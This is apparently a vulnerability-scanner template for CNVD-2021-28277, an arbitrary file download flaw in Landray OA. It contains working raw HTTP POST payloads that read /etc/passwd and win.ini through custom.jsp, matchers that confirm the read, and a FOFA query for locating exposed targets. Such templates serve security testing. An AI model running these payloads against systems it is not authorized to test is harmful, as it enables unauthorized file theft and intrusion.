id: CNVD-2021-28277

info:
  name: Landray-OA Arbitrary File Download
  author: pikpikcu,daffainfo
  severity: high
  reference:
    - https://www.aisoutu.com/a/1432457
    - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
  metadata:
    fofa-query: app="Landray OA system"
  tags: landray,lfi,cnvd,cnvd2021

requests:
  - raw:
      - |
        POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        var={"body":{"file":"file:///etc/passwd"}}

      - |
        POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        var={"body":{"file":"file:///c://windows/win.ini"}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200